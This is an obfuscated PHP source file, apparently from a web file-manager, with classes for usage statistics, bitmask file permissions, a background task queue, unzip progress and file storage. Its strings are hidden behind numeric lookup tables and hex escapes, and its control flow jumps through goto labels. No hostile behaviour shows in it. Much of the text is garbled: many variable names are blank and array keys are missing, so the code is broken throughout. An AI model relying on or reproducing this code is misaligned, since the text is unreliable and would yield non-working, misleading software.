($ as $) { if (isset($꘲[$])) { $ = $꘲[$]; } else { $ = end($); $[$Ƕ[255]] = $; if ($ == $Ƕ[662]) { $[$Ƕ[1891]] = $[$Ƕ[1892]] = 0; } } $[] = $; } $ = $; } $튴 = array($Ƕ[662] => array($Ƕ[832] => LNG($Ƕ[1907]), $Ƕ[1891] => LNG($Ƕ[1908]), $Ƕ[1892] => LNG($Ƕ[1909])), $Ƕ[1893] => array($Ƕ[830] => LNG($Ƕ[1910]), $Ƕ[1895] => LNG($Ƕ[1911]), $Ƕ[1896] => LNG($Ƕ[1912]), $Ƕ[1897] => LNG($Ƕ[1913]))); $ = array($Ƕ[662] => $Ƕ[1914], $Ƕ[1893] => $Ƕ[79]); if (empty($)) { $ = date($Ƕ[1898], strtotime($Ƕ[1899])); $— = array($Ƕ[255] => $); foreach ($튴[$] as $Ƭ => $Υ) { $—[$Ƭ] = 0; } $[] = $—; } $պ = array(); foreach ($ as $Υ) { if ($ == $Ƕ[1893] && $Υ[$Ƕ[1895]] > $Υ[$Ƕ[830]]) { $Υ[$Ƕ[1895]] = $Υ[$Ƕ[830]]; } foreach ($튴[$] as $Ƭ => $) { $ = array($Ƕ[255] => $Υ[$Ƕ[255]], $Ƕ[1652] => $); $[$[$]] = isset($Υ[$Ƭ]) ? $Υ[$Ƭ] : 0; $պ[] = $; } } return $պ; } public function validDate($ԉƇ, $̯) { $ =& $_SERVER[]; $ݷ = date($[1898], strtotime($[1899])); $ӥ = array($ݷ); switch ($ԉƇ) { case $[1743]: $ = mktime(0, 0, 0, date($[1915]), date($[1442]) - date($[1532]) + 7 - 7, date($[1916])); $dž = 0; do { $ = date($[1898], $ - 3600 * 24 * 7 * $dž); $ӥ[] = $; $dž++; } while ($̯ < $); break; case $[1741]: $dž = 1; do { $ = date($[1917], strtotime("\55\40{$dž}\x20\155\x6f\x6e\164\x68\x73")); $ӥ[] = $; $dž++; } while ($̯ < $); break; case $[1918]: $Ǔ = (int) date($[1916], strtotime($̯)); $Ҕ = (int) date($[1916]); if ($Ǔ >= $Ҕ) { break; } for ($Ǔ; $Ǔ < $Ҕ; $Ǔ++) { $ӥ[] = $Ǔ . $[1919]; } break; default: break; } if ($̯ > end($ӥ)) { array_pop($ӥ); } sort($ӥ); return $ӥ; } public function listTable($ƛ) { $ = ucfirst($ƛ); return Model($)->listData(); } public function option($؟) { $ = $_SERVER[][1920] . ucfirst($؟); return $this->{$}(); } private function optionUser() { $œ =& $_SERVER[]; $ɵ = Model($œ[598])->count($œ[1763]); $ = Model($œ[598])->where($œ[1921])->count($œ[1763]); $ = intval($GLOBALS[$œ[6]][$œ[425]][$œ[1709]]) / 3600; $ = strtotime("\55{$}\x20\150\x6f\x75\162\x73"); $ԅ = strtotime(date($œ[1902])); if ($ < $ԅ) { $ = $ԅ; } $⑂ = array($œ[1922] => array($œ[1085], $)); $ގ = (int) Model($œ[598])->where($⑂)->count($œ[1763]); if (!$ގ) { $ގ = 1; } $⑂ = array($œ[1922] => array($œ[1085], $ԅ)); $ߍ = Model($œ[598])->where($⑂)->count($œ[1763]); return array($œ[825] => (int) $ɵ, $œ[1923] => (int) ($ɵ - $), $œ[1924] => (int) $, $œ[1925] => (int) $ߍ, $œ[1926] => $ގ); } private function optionFile() { $ΗҎ =& $_SERVER[]; $ = $this->sourceSize(); $駗 = $[$ΗҎ[79]]; $ە = $[$ΗҎ[1895]]; $ = Model($ΗҎ[899])->where(array($ΗҎ[485] => 0))->count($ΗҎ[193]); $ = array($ΗҎ[485] => 0, $ΗҎ[231] => array($ΗҎ[1085], strtotime(date($ΗҎ[1902])))); $DŽ = Model($ΗҎ[899])->where($)->sum($ΗҎ[79]); $ = Model($ΗҎ[899])->where($)->count($ΗҎ[193]); return array($ΗҎ[830] => $駗, $ΗҎ[1895] => $ە, $ΗҎ[1927] => $駗 - $ە, $ΗҎ[1928] => (int) $DŽ, $ΗҎ[832] => (int) $, $ΗҎ[1929] => (int) $); } private function optionAccess() { $ =& $_SERVER[]; return array($[825] => $this->typeLogCnt(), $[110] => $this->typeLogCnt($[110]), $[525] => $this->typeLogCnt($[525]), $[1930] => $this->typeLogCnt($[1930]), $[1931] => $this->typeLogCnt($[1931]), $[662] => $this->typeLogCnt($[12], $[1906])); } private function typeLogCnt($΋ = '', $𕄇 = "\x69\x64") { $ԛ =& $_SERVER[]; $ֶ = array($ԛ[110] => array($ԛ[1932], $ԛ[1933]), $ԛ[525] => array($ԛ[1934], $ԛ[1935]), $ԛ[1930] => array($ԛ[1936], $ԛ[1937], $ԛ[1938]), $ԛ[1931] => array($ԛ[1939], $ԛ[1940]), $ԛ[1941] => array($ԛ[1942], $ԛ[1943], $ԛ[1944])); $ = strtotime(date($ԛ[1902])); $ĀҼ = array($ԛ[231] => array($ԛ[1085], $)); if ($΋) { $ĀҼ[$ԛ[33]] = array($ԛ[7], $ֶ[$΋]); } $濃 = Model($ԛ[1905])->where($ĀҼ)->count($𕄇); return (int) $濃; } private function optionServer() { $禔 =& $_SERVER[]; $ɜގ = $this->diskDriver(); $ = KodIO::defaultDriver(); $ͽ = array($禔[892] => $[$禔[475]]); $ = Model($禔[544])->where($ͽ)->sum($禔[79]); $ɍ = explode($禔[53], $_SERVER[$禔[147]]); $Ǜ = $ɍ[0]; $ = $GLOBALS[$禔[6]][$禔[21]]; $ = $[$禔[1047]]; if ($ == $禔[1035]) { $Ԅ = explode($禔[1361], $[$禔[1046]]); $ = $Ԅ[0]; } if ($ == $禔[983] || $ == $禔[879]) { $ׁ = Model()->db()->query($禔[1945]); $̂ = $ׁ[0] && isset($ׁ[0][$禔[1651]]) ? $ׁ[0][$禔[1651]] : 0; $ = $禔[1946] . ($̂ ? $禔[8] . $̂ : $禔[12]); } $Ԉ = $GLOBALS[$禔[6]][$禔[425]][$禔[901]]; return array($禔[1947] => $ɜގ ? $ɜގ[$禔[1948]] : 0, $禔[1949] => $ɜގ ? $ɜގ[$禔[1950]] : 0, $禔[1951] => (int) $[$禔[1948]] * 1024 * 1024 * 1024, $禔[1952] => (int) $, $禔[1953] => ucfirst($Ǜ), $禔[1954] => $禔[1955] . PHP_VERSION, $禔[1956] => phpBuild64() ? 64 : 32, $禔[824] => str_replace($禔[1204], $禔[1063], $), $禔[425] => ucfirst($Ԉ), $禔[32] => $_SERVER[$禔[1957]]); } private function diskDriver() { $߯ =& $_SERVER[]; $㤋 = $߯[8]; $ = $GLOBALS[$߯[6]][$߯[1378]] == $߯[1379]; if ($) { $㤋 = $߯[1958]; if (function_exists($߯[1959])) { exec($߯[1960], $ؙ); $㤋 = $ؙ[1] . $߯[8]; } } if (!file_exists($㤋)) { return; } if (!function_exists($߯[1961])) { return; } $Ҭ = @disk_total_space($㤋); $ = $Ҭ - @disk_free_space($㤋); return array($߯[1948] => $Ҭ, $߯[1950] => $); } public function fileChart($溟) { $ʜȵ =& $_SERVER[]; if (isset($溟[$ʜȵ[1763]])) { return Model($ʜȵ[899])->userFileTypeProfile($溟[$ʜȵ[1763]]); } if (isset($溟[$ʜȵ[1962]])) { return Model($ʜȵ[899])->groupFileTypeProfile($溟[$ʜȵ[1962]]); } $ӈ = $this->sourceSize(); $ږݒ = array($ʜȵ[192] => 0, $ʜȵ[190] => 1); $ے = Model($ʜȵ[899])->where($ږݒ)->sum($ʜȵ[79]); $ږݒ[$ʜȵ[190]] = 2; $͒ = Model($ʜȵ[899])->where($ږݒ)->sum($ʜȵ[79]); return array($ʜȵ[830] => $ӈ[$ʜȵ[79]], $ʜȵ[1895] => $ӈ[$ʜȵ[1895]], $ʜȵ[1896] => (int) $ے, $ʜȵ[1897] => (int) $͒); } private function sourceSize() { $ŧ =& $_SERVER[]; $ߙ = Model($ŧ[899])->where(array($ŧ[485] => 0))->sum($ŧ[79]); $Ϗ = Model($ŧ[544])->sum($ŧ[79]); if ($Ϗ > $ߙ) { $Ϗ = $ߙ; } return array($ŧ[79] => (int) $ߙ, $ŧ[1895] => (int) $Ϗ); } } class AuthModel extends ModelBaseLight { const AUTH_SHOW = 1; const AUTH_VIEW = 2; const AUTH_DOWNLOAD = 4; const AUTH_UPLOAD = 8; const AUTH_EDIT = 16; const AUTH_REMOVE = 32; const AUTH_SHARE = 64; const AUTH_COMMENT = 128; const AUTH_EVENT = 256; const AUTH_ROOT = 33554432; public static function authAll() { return self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT | self::AUTH_ROOT; } public static function authDefault() { $œ =& $_SERVER[]; $刢 = array(array($œ[494] => LNG($œ[1963]), $œ[1964] => $œ[1965], $œ[1966] => 1, $œ[1967] => 1, $œ[1968] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT), array($œ[494] => LNG($œ[1969]), $œ[1964] => $œ[1970], $œ[1966] => 2, $œ[1967] => 1, $œ[1968] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_COMMENT | self::AUTH_EVENT), array($œ[494] => LNG($œ[1971]), $œ[1964] => $œ[1972], $œ[1966] => 3, $œ[1967] => 1, $œ[1968] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_COMMENT | self::AUTH_EVENT), array($œ[494] => LNG($œ[1973]), $œ[1964] => $œ[1974], $œ[1966] => 4, $œ[1967] => 1, $œ[1968] => self::AUTH_SHOW | self::AUTH_VIEW), array($œ[494] => LNG($œ[1975]), $œ[1964] => $œ[1976], $œ[1966] => 5, $œ[1967] => 1, $œ[1968] => self::AUTH_SHOW | self::AUTH_UPLOAD), array($œ[494] => LNG($œ[1977]), $œ[1964] => $œ[1978], $œ[1966] => 6, $œ[1967] => 1, $œ[1968] => self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD | self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE | self::AUTH_SHARE | self::AUTH_COMMENT | self::AUTH_EVENT | self::AUTH_ROOT), array($œ[494] => LNG($œ[1979]), $œ[1964] => $œ[1980], $œ[1966] => 7, $œ[1967] => 1, $œ[1968] => 0)); return $刢; } public static function authCheck($, $Չ) { $υǶ =& $_SERVER[]; $ = intval($); if (KodUser::isRoot() && $GLOBALS[$υǶ[6]][$υǶ[1981]]) { return !0; } if ($ <= 0) { return !1; } if (($ & self::AUTH_ROOT) == self::AUTH_ROOT) { return !0; } return !!($ & $Չ); } public static function authCheckShow($) { return self::authCheck($, self::AUTH_SHOW); } public static function authCheckView($ƕ) { return self::authCheck($ƕ, self::AUTH_VIEW); } public static function authCheckDownload($) { return self::authCheck($, self::AUTH_DOWNLOAD); } public static function authCheckUpload($) { return self::authCheck($, self::AUTH_UPLOAD); } public static function authCheckEdit($) { return self::authCheck($, self::AUTH_EDIT); } public static function authCheckRemove($) { return self::authCheck($, self::AUTH_REMOVE); } public static function authCheckShare($΁冯) { return self::authCheck($΁冯, self::AUTH_SHARE); } public static function authCheckComment($ݛ) { return self::authCheck($ݛ, self::AUTH_COMMENT); } public static function authCheckEvent($) { return self::authCheck($, self::AUTH_EVENT); } public static function authCheckRoot($) { return self::authCheck($, self::AUTH_ROOT); } public static function authCheckAction($ۅʷ, $뿥) { $ =& $_SERVER[]; $ = array($[1982] => self::AUTH_VIEW, $[1272] => self::AUTH_DOWNLOAD, $[110] => self::AUTH_UPLOAD, $[1931] => self::AUTH_EDIT, $[1930] => self::AUTH_REMOVE, $[1941] => self::AUTH_SHARE, $[430] => self::AUTH_COMMENT, $[1751] => self::AUTH_EVENT, $[1983] => self::AUTH_ROOT); if (!isset($[$뿥])) { return; } $Ⱦ = $[$뿥]; $ۅʷ = intval($ۅʷ); if ($ۅʷ <= 0) { return !1; } if (($ۅʷ & self::AUTH_ROOT) == self::AUTH_ROOT) { return !0; } return !!($ۅʷ & $Ⱦ); } public static function authDisable($ݭ촎, $) { if (intval($ݭ촎) <= 0) { return 0; } return intval($ݭ촎) & ~$; } public $optionType = "\x53\x79\x73\x74\x65\155\x2e\x73\x6f\x75\162\143\145\101\x75\164\150\114\151\x73\x74"; public $field = array("\x6e\x61\155\145", "\x61\x75\x74\150", "\154\x61\142\x65\154", "\x64\x69\163\160\x6c\141\x79", "\x73\171\x73\164\145\155", "\x73\157\162\x74"); public function initData() { $݋ = $this->authDefault(); foreach ($݋ as $ќ) { $this->add($ќ); } } public function findAuth($몝, $) { $ =& $_SERVER[]; $ڵރ = parent::listData(); foreach ($ڵރ as $) { $ = intval($[$[487]]); if ($ <= 0 || $[$[1984]] == 0) { continue; } if (($ & $몝) != $몝) { continue; } if (($ & $) != 0) { continue; } return $[$[475]]; } return !1; } public function findAuthMax($ʲ, $ױ) { $ڥ =& $_SERVER[]; $ۜ = !1; $ = parent::listData(); foreach ($ as $ݻ) { $䁹 = intval($ݻ[$ڥ[487]]); if ($䁹 <= 0 || $ݻ[$ڥ[1984]] == 0) { continue; } if (($䁹 & $ʲ) != $ʲ) { continue; } if (($䁹 & $ױ) != 0) { continue; } if (!$ۜ) { $ۜ = $ݻ; continue; } if (intval($ۜ[$ڥ[487]]) < $䁹) { $ۜ = $ݻ; } } return $ۜ ? $ۜ[$ڥ[475]] : !1; } public function findAuthReadOnly() { $آ = self::AUTH_SHOW | self::AUTH_VIEW | self::AUTH_DOWNLOAD; $ = self::AUTH_UPLOAD | self::AUTH_EDIT | self::AUTH_REMOVE; return $this->findAuth($آ, $); } public function findAuthNotRead() { return $this->findAuth(0, self::AUTH_SHOW); } public function findAuthMinDefault() { $ =& $_SERVER[]; $ͭ = parent::listData(); $Ö = !1; foreach ($ͭ as $) { if ($[$[487]] <= 0 || $[$[1984]] == $[228]) { continue; } if (!$Ö) { $Ö = $; continue; } if ($Ö[$[487]] > $[$[487]]) { $Ö = $; } } return $Ö ? $Ö[$[475]] : $[12]; } public function listData($ = false, $졕 = "\163\x6f\x72\164", $򜬪 = false) { return parent::listData($, $졕, $򜬪); } public function update($, $ҟ) { $ =& $_SERVER[]; $캺 = parent::listData($); $ = $this->findByName($ҟ[$[32]]); if (!$캺 || $ && $[$[475]] != $캺[$[475]]) { return !1; } $this->filterAuth($ҟ[$[487]]); return parent::update($, $ҟ); } public function remove($) { $ = parent::listData($); if (!$ || $[$_SERVER[][191]]) { return !1; } return parent::remove($); } public function add($ = array()) { $؍ =& $_SERVER[]; if ($this->findByName($[$؍[32]])) { return !1; } $鈉 = array($؍[32] => $؍[12], $؍[487] => 1, $؍[1985] => $؍[1972], $؍[1984] => 1, $؍[191] => 0, $؍[1986] => 0); $ = array_merge($鈉, $); $[$؍[1986]] = $this->getSort(); $this->filterAuth($[$؍[487]]); return parent::insert($); } private function getSort() { $坬 =& $_SERVER[]; $ˑ = parent::listData(); $ؿ = array_to_keyvalue($ˑ, $坬[12], $坬[1986]); return empty($ؿ) ? 0 : max($ؿ) + 1; } private function filterAuth(&$) { if (!$) { return; } $՞ = array(self::AUTH_SHOW, self::AUTH_VIEW, self::AUTH_DOWNLOAD, self::AUTH_UPLOAD, self::AUTH_EDIT, self::AUTH_REMOVE, self::AUTH_SHARE, self::AUTH_COMMENT, self::AUTH_EVENT, self::AUTH_ROOT); $߈ = array(); foreach ($՞ as $) { if ($ & $) { $߈[] = $; } } if (in_array(self::AUTH_ROOT, $߈)) { $ = array_sum($՞); return; } $ = array(self::AUTH_DOWNLOAD => array(self::AUTH_VIEW), self::AUTH_EDIT => array(self::AUTH_VIEW), self::AUTH_REMOVE => array(self::AUTH_EDIT), self::AUTH_SHARE => array(self::AUTH_VIEW, self::AUTH_DOWNLOAD, self::AUTH_UPLOAD, self::AUTH_EDIT)); foreach ($߈ as $) { if (isset($[$])) { $߈ = array_merge($߈, $[$]); } } $߈[] = self::AUTH_SHOW; $ = array_sum(array_unique($߈)); } public function sort($Σ, $) { return parent::update($Σ, $); } } goto a򠵙; bǏن: class TaskQueue { const MAX_LENGTH = 2000; const QUEUE_LENGTH = "\164\x61\163\x6b\x51\165\x65\165\145\x4c\x65\x6e\147\x74\x68"; const QUEUE_DATA = "\164\141\x73\153\x51\165\x65\x75\x65\x44\141\x74\x61"; const QUEUE_TIME = "\x74\141\x73\x6b\121\x75\145\165\145\x4c\141\x73\x74\x52\x75\156"; const QUEUE_THREAD = "\x74\141\x73\x6b\x51\x75\145\165\145\124\x68\x72\145\x61\144"; public static $listData = false; public static $listDataAdd = false; public static function initTask() { } public static function add($ǴӰ, $ƙ = array(), $ = '', $ = '') { $ =& $_SERVER[]; if (self::$listData === !1) { self::$listData = self::getAll(); self::$listDataAdd = array(); } if (count(self::$listData) >= self::MAX_LENGTH) { return !1; } if ($ && array_find_by_field(self::$listData, $[97], $)) { return !0; } if ($ && array_find_by_field(self::$listDataAdd, $[97], $)) { return !0; } self::$listDataAdd[] = array($[341] => $ǴӰ, $[1861] => $ƙ, $[526] => $, $[97] => $); return !0; } public static function addSubmit() { $݄ș =& $_SERVER[]; if (!self::$listDataAdd || count(self::$listDataAdd) == 0) { return; } self::setAll(array_merge(self::getAll(), self::$listDataAdd)); write_log($݄ș[1862] . json_encode_force(array_to_keyvalue(self::$listDataAdd, $݄ș[12], $݄ș[526])), $݄ș[197]); self::$listData = !1; self::$listDataAdd = !1; } public static function addNow($帺, $ = array(), $ڜφ = '', $ޕ = '') { $ꜜ =& $_SERVER[]; if (self::count() >= self::MAX_LENGTH) { return !1; } $ = self::getAll(); if ($ޕ && array_find_by_field($, $ꜜ[97], $ޕ)) { return !0; } $[] = array($ꜜ[341] => $帺, $ꜜ[1861] => $, $ꜜ[526] => $ڜφ, $ꜜ[97] => $ޕ); self::setAll($); write_log($ꜜ[1862] . $ڜφ, $ꜜ[197]); return !0; } public static function run() { $ŧ =& $_SERVER[]; $ = self::getAll(); $ȶ = array_shift($); if (!$ȶ) { return !1; } self::setAll($); $̳ = timeFloat(); $ѫ = $ŧ[12]; try { $ѫ = Hook::apply($ȶ[$ŧ[341]], $ȶ[$ŧ[1861]]); } catch (Exception $ى) { write_log($ى, $ŧ[1257]); } $ʙ = number_format(timeFloat() - $̳, 3) . $ŧ[1779]; if ($ѫ && is_string($ѫ)) { $ʙ = $ʙ . $ŧ[1863] . $ѫ; } write_log($ŧ[1864] . $ȶ[$ŧ[526]] . $ŧ[1865] . $ʙ, $ŧ[197]); Cache::set(self::QUEUE_TIME, time(), 3600 * 24 * 30); return !0; } public static function runThread() { $ϱ =& $_SERVER[]; $ܐ = self::threadCount() + 1; if ($ܐ > 3 || !self::count()) { return; } write_log($ϱ[1866] . $ܐ, $ϱ[197]); Cache::set(self::QUEUE_THREAD, $ܐ, 3600 * 24); AutoTask::clearUserStatus(); while (!0) { if (!self::run()) { break; } usleep(mt_rand(200, 50000)); } Cache::set(self::QUEUE_THREAD, 0, 3600 * 24); write_log($ϱ[1867], $ϱ[197]); } public static function getKey($, $̸ = "\x69\x6e\164") { $ =& $_SERVER[]; Cache::removeMemory($); $ = Cache::get($); if ($̸ == $[364]) { return $ ? intval($) : 0; } if ($̸ == $[1868]) { return is_array($) ? $ : array(); } return $; } public static function lastTime() { return self::getKey(self::QUEUE_TIME); } public static function count() { return self::getKey(self::QUEUE_LENGTH); } public static function threadCount() { return self::getKey(self::QUEUE_THREAD); } public static function getAll() { return self::getKey(self::QUEUE_DATA, $_SERVER[][1868]); } public static function setAll($ְ) { $ = 3600 * 24 * 30; Cache::set(self::QUEUE_LENGTH, count($ְ), $); Cache::set(self::QUEUE_DATA, $ְ, $); Cache::removeMemory(self::QUEUE_LENGTH); Cache::removeMemory(self::QUEUE_DATA); } public static function clear() { self::setAll(array()); Cache::set(self::QUEUE_THREAD, 0, 60); } } class TaskRun { private static $asyncAdd = false; private static $syncTask = false; public static function timeLimit($, $ = 5.0) { if (!$) { return; } $ = Cache::get($); if (!$ || timeFloat() - floatVal($) >= $) { Cache::set($, timeFloat(), $ * 10); return !0; } return !1; } public static function timeLimitCall($ꎚ, $ᡱ, $ۘ, $򦟾 = 5.0) { $ׅ† =& $_SERVER[]; if (!$ꎚ || !$ᡱ) { return; } self::$asyncAdd = !0; $ܪ = $ׅ†[1869]; $ƹ = Cache::get($ܪ, !0); $ؾ = array($ׅ†[1870] => timeFloat(), $ׅ†[1871] => timeFloat(), $ׅ†[341] => $ᡱ, $ׅ†[1861] => $ۘ, $ׅ†[206] => $򦟾); if (is_array($ƹ[$ꎚ])) { $ؾ[$ׅ†[1871]] = $ƹ[$ꎚ][$ׅ†[1871]]; } if (is_array($ƹ[$ꎚ])) { if (timeFloat() - $ƹ[$ꎚ][$ׅ†[1870]] < $ؾ[$ׅ†[206]] * 0.3) { return; } $ؾ[$ׅ†[1871]] = $ƹ[$ꎚ][$ׅ†[1871]]; } $ƹ[$ꎚ] = $ؾ; Cache::set($ܪ, $ƹ, 60); Cache::removeMemory($ܪ); write_log($ׅ†[1872] . $ꎚ . $ׅ†[74] . $ᡱ, $ׅ†[197]); } public static function timeLimitCallLoop() { $ᶦ =& $_SERVER[]; $ퟳ = array($ᶦ[1873]); $Ìð = in_array(strtolower(ACTION), $ퟳ); if (!$Ìð && !self::$asyncAdd) { return; } $ϗ = $ᶦ[1869]; $ܚ = Cache::get($ϗ, !0); if (!$ܚ || count($ܚ) <= 0) { return; } $ێ = !1; $㠬݂ = timeFloat(); $ʚ = array(); foreach ($ܚ as $ => $) { if ($㠬݂ - $[$ᶦ[1871]] > $[$ᶦ[206]]) { $ێ = !0; try { Hook::apply($[$ᶦ[341]], $[$ᶦ[1861]]); write_log($ᶦ[1874] . $ . $ᶦ[74] . $[$ᶦ[341]] . $ᶦ[1875] . ACTION, $ᶦ[197]); } catch (Exception $ƅ) { } continue; } $ʚ[$] = $; } if (!$ێ) { return; } if (!$ʚ) { return Cache::remove($ϗ); } Cache::set($ϗ, $ʚ, 60); Cache::removeMemory($ϗ); } public static function finished($, $) { $Ʊ =& $_SERVER[]; if (!self::$syncTask) { self::$syncTask = array(); } self::$syncTask[] = array($Ʊ[341] => $, $Ʊ[1861] => $); } private static function finishedRun() { $ݗ =& $_SERVER[]; if (!self::$syncTask) { return; } foreach (self::$syncTask as $قӏ) { try { Hook::apply($قӏ[$ݗ[341]], $قӏ[$ݗ[1861]]); } catch (Exception $) { } } } public static function autoRun() { self::finishedRun(); self::timeLimitCallLoop(); } } class TaskUnzip extends TaskFileTransfer { protected function startAfter() { $ =& $_SERVER[]; parent::startAfter(); Hook::bind($[1876], array($this, $[1877])); Hook::bind($[1271], array($this, $[1878])); Hook::bind($[1879], array($this, $[1880])); $ =& $this->task; $[$[1881]] = $[1272]; if (!$[$[1652]]) { $[$[1652]] = LNG($[1882]); } } protected function endAfter() { $壐 =& $_SERVER[]; parent::endAfter(); Hook::unbind($壐[1876], array($this, $壐[1877])); Hook::unbind($壐[1271], array($this, $壐[1878])); Hook::unbind($壐[1879], array($this, $壐[1880])); } public function updateAfter() { $Ȣ =& $_SERVER[]; $ =& $this->task; if (!$[$Ȣ[1134]] || !$[$Ȣ[830]]) { if ($[$Ȣ[1881]] != $Ȣ[389]) { return; } } if ($[$Ȣ[1881]] == $Ȣ[1272]) { $ = 0; if ($[$Ȣ[1816]]) { $ = $[$Ȣ[1817]] / $[$Ȣ[1816]]; } $[$Ȣ[1765]] = $ * 0.3; } else { if ($[$Ȣ[1881]] == $Ȣ[389]) { $ = $[$Ȣ[1764]] / $[$Ȣ[1134]]; $[$Ȣ[1765]] = 0.3 + $ * 0.4; } else { if ($[$Ȣ[1881]] == $Ȣ[110]) { $¿ó = 0; if ($[$Ȣ[1818]] == $Ȣ[110]) { $¿ó = $[$Ȣ[1817]]; } $ = ($[$Ȣ[1821]] + $¿ó) / $[$Ȣ[830]]; $[$Ȣ[1765]] = 0.3 + 0.4 + $ * 0.3; } } } if ($[$Ȣ[1765]] > 0) { $Ԟ = timeFloat() - $[$Ȣ[1767]] - $[$Ȣ[1770]]; $[$Ȣ[1771]] = $Ԟ * (1 - $[$Ȣ[1765]]) / $[$Ȣ[1765]]; } } public function addFile($۲) { $ʠͳ =& $_SERVER[]; $ =& $this->task; $ = IO::info($۲); $[$ʠͳ[1814]] = $[$ʠͳ[32]]; $[$ʠͳ[1816]] = $[$ʠͳ[79]]; $[$ʠͳ[1817]] = 0; $[$ʠͳ[1136]] = $ʠͳ[1837]; $[$ʠͳ[1818]] = $ʠͳ[1272]; $[$ʠͳ[830]] = $[$ʠͳ[79]]; $[$ʠͳ[1134]] = 1; $բ = 0; $[$ʠͳ[1825]] = array($ʠͳ[1826] => $բ + 1, $ʠͳ[494] => $[$ʠͳ[32]], $ʠͳ[87] => $[$ʠͳ[87]], $ʠͳ[582] => $[$ʠͳ[582]] ? $[$ʠͳ[582]] : $[$ʠͳ[87]]); $this->update(); } public function zipEvent($λ, $, $Й, $ۨ) { $ƌ =& $_SERVER[]; $ =& $this->task; $[$ƌ[1814]] = get_path_this($); $[$ƌ[1816]] = $ۨ; $[$ƌ[1817]] = $Й; $[$ƌ[1136]] = $λ == $ƌ[1883] ? $ƌ[1884] : $ƌ[1885]; $[$ƌ[1818]] = $ƌ[12]; $[$ƌ[830]] = $ۨ; $[$ƌ[1881]] = $ƌ[389]; $this->update(); } public function unzipAfter($) { $ⵖ =& $_SERVER[]; $ɵ =& $this->task; $ɵ[$ⵖ[1881]] = $ⵖ[110]; $¶Ǿ = IO::infoWithChildren($); $ = 0; $ɵ[$ⵖ[1825]] = array($ⵖ[1826] => $ + 1, $ⵖ[494] => $¶Ǿ[$ⵖ[32]], $ⵖ[87] => $¶Ǿ[$ⵖ[87]], $ⵖ[582] => $¶Ǿ[$ⵖ[582]] ? $¶Ǿ[$ⵖ[582]] : $¶Ǿ[$ⵖ[87]]); if ($¶Ǿ[$ⵖ[33]] == $ⵖ[230]) { $ɵ[$ⵖ[1134]] = 1; } else { $ɵ[$ⵖ[1134]] = $¶Ǿ[$ⵖ[82]][$ⵖ[80]]; } $ɵ[$ⵖ[1136]] = $ⵖ[12]; $ɵ[$ⵖ[1818]] = 0; $ɵ[$ⵖ[1764]] = 0; $ɵ[$ⵖ[1816]] = 0; $ɵ[$ⵖ[1817]] = 0; $ɵ[$ⵖ[1814]] = $ⵖ[12]; $ɵ[$ⵖ[1821]] = 0; $ɵ[$ⵖ[830]] = $¶Ǿ[$ⵖ[79]]; $this->update(); self::log($ⵖ[1886] . json_encode(array($ɵ, $¶Ǿ))); } public function nameParse($) { $Θ =& $_SERVER[]; $ =& $this->task; if ($[$Θ[1881]] == $Θ[1272]) { $[$Θ[1881]] = $Θ[389]; $[$Θ[1821]] = 0; $[$Θ[830]] = 0; } $僇ٟ = get_path_this($); if (strstr($僇ٟ, $Θ[10])) { $[$Θ[1764]] += 1; $[$Θ[1134]] += 1; } $[$Θ[1814]] = $; $this->update(); } } goto BÅ; BɢӮ: class FileModel extends ModelBase { protected $tableName = "\x69\157\x5f\x66\x69\154\145"; protected $tableMeta = array("\x74\141\x62\x6c\145\x4e\x61\x6d\145" => "\x69\x6f\137\x66\x69\x6c\x65\137\155\145\164\x61", "\x6d\x65\x74\x61\106\151\x65\x6c\144" => "\x66\x69\154\145\x49\x44"); public function fileInfo($鹸) { $ =& $_SERVER[]; static $ſ = array(); if (!isset($ſ[$鹸])) { $̭þ = $[2012]; $ = Model($[544])->field($̭þ)->where(array($[542] => $鹸))->find(); $ſ[$鹸] = $; } return $ſ[$鹸]; } public function addFileByContent($Ќ = '', $ţ = '') { $Є =& $_SERVER[]; $ = TEMP_PATH . $Є[2013]; if (!is_dir($)) { mk_dir($); } $ʇ = $ . $Є[2014] . rand_string(16); file_put_contents($ʇ, $Ќ); $ = $this->addFile($ʇ, $ţ, !0); if (file_exists($ʇ)) { @unlink($ʇ); } return $; } public function createFileName($ٝ, $؛ٳ = false, $ = false) { $׵ =& $_SERVER[]; $Խ = IO::init($׵[8]); $̗Ų = $this->makeFilePath($ٝ, $Խ, $؛ٳ, $); $ = $Խ->pathFather($̗Ų); static $ = false; $ٞ = $׵[2015] . md5($); if (!$ && !Cache::get($ٞ)) { $ = !0; $ = IO::mkdir($); if (!IO::exist($ . $׵[872])) { IO::mkfile($ . $׵[872]); } Cache::set($ٞ, 1, 3600 * 2); } return $̗Ų; } public function makeFilePath($ы, $߻, $Ɛ = false, $ = false) { $󡇛 =& $_SERVER[]; $ = Model($󡇛[837])->get($󡇛[2016]); $ӄ = KodIO::defaultIO() . date($󡇛[2017]); $ = $ӄ . rand_string(5) . short_id(100); $ы = str_replace($󡇛[8], $󡇛[11], KodIO::clear($ы)); $ѭ = $߻->ext($ы); if (!$ы) { $ = $󡇛[843]; } switch ($) { case $󡇛[2018]: if ($ѭ) { $ = $ . $󡇛[10] . $ѭ; } if ($ѭ == $󡇛[1954]) { $ .= $󡇛[1284]; } break; case $󡇛[2019]: $צ = Model($󡇛[837])->get($󡇛[838]); $Բ = substr(md5($󡇛[839] . $צ . date($󡇛[816])), 0, 8); $ = KodIO::defaultDriver(); $ӄ = $󡇛[1315] . $[$󡇛[475]] . $󡇛[484] . date($󡇛[2020]) . $Բ . $󡇛[8]; if ($ѭ == $󡇛[1954]) { $ы .= $󡇛[1284]; } $ˢ = $󡇛[2021] . $ӄ . $ы; CacheLock::lock($ˢ); $ = $ӄ . $ы; if (IO::exist($ӄ . $ы)) { $󵲯մ = substr($ы, 0, strlen($ы) - strlen($ѭ)); $Α = $ ? substr($, 0, 5) : ($Ɛ ? substr($Ɛ, 0, 5) : 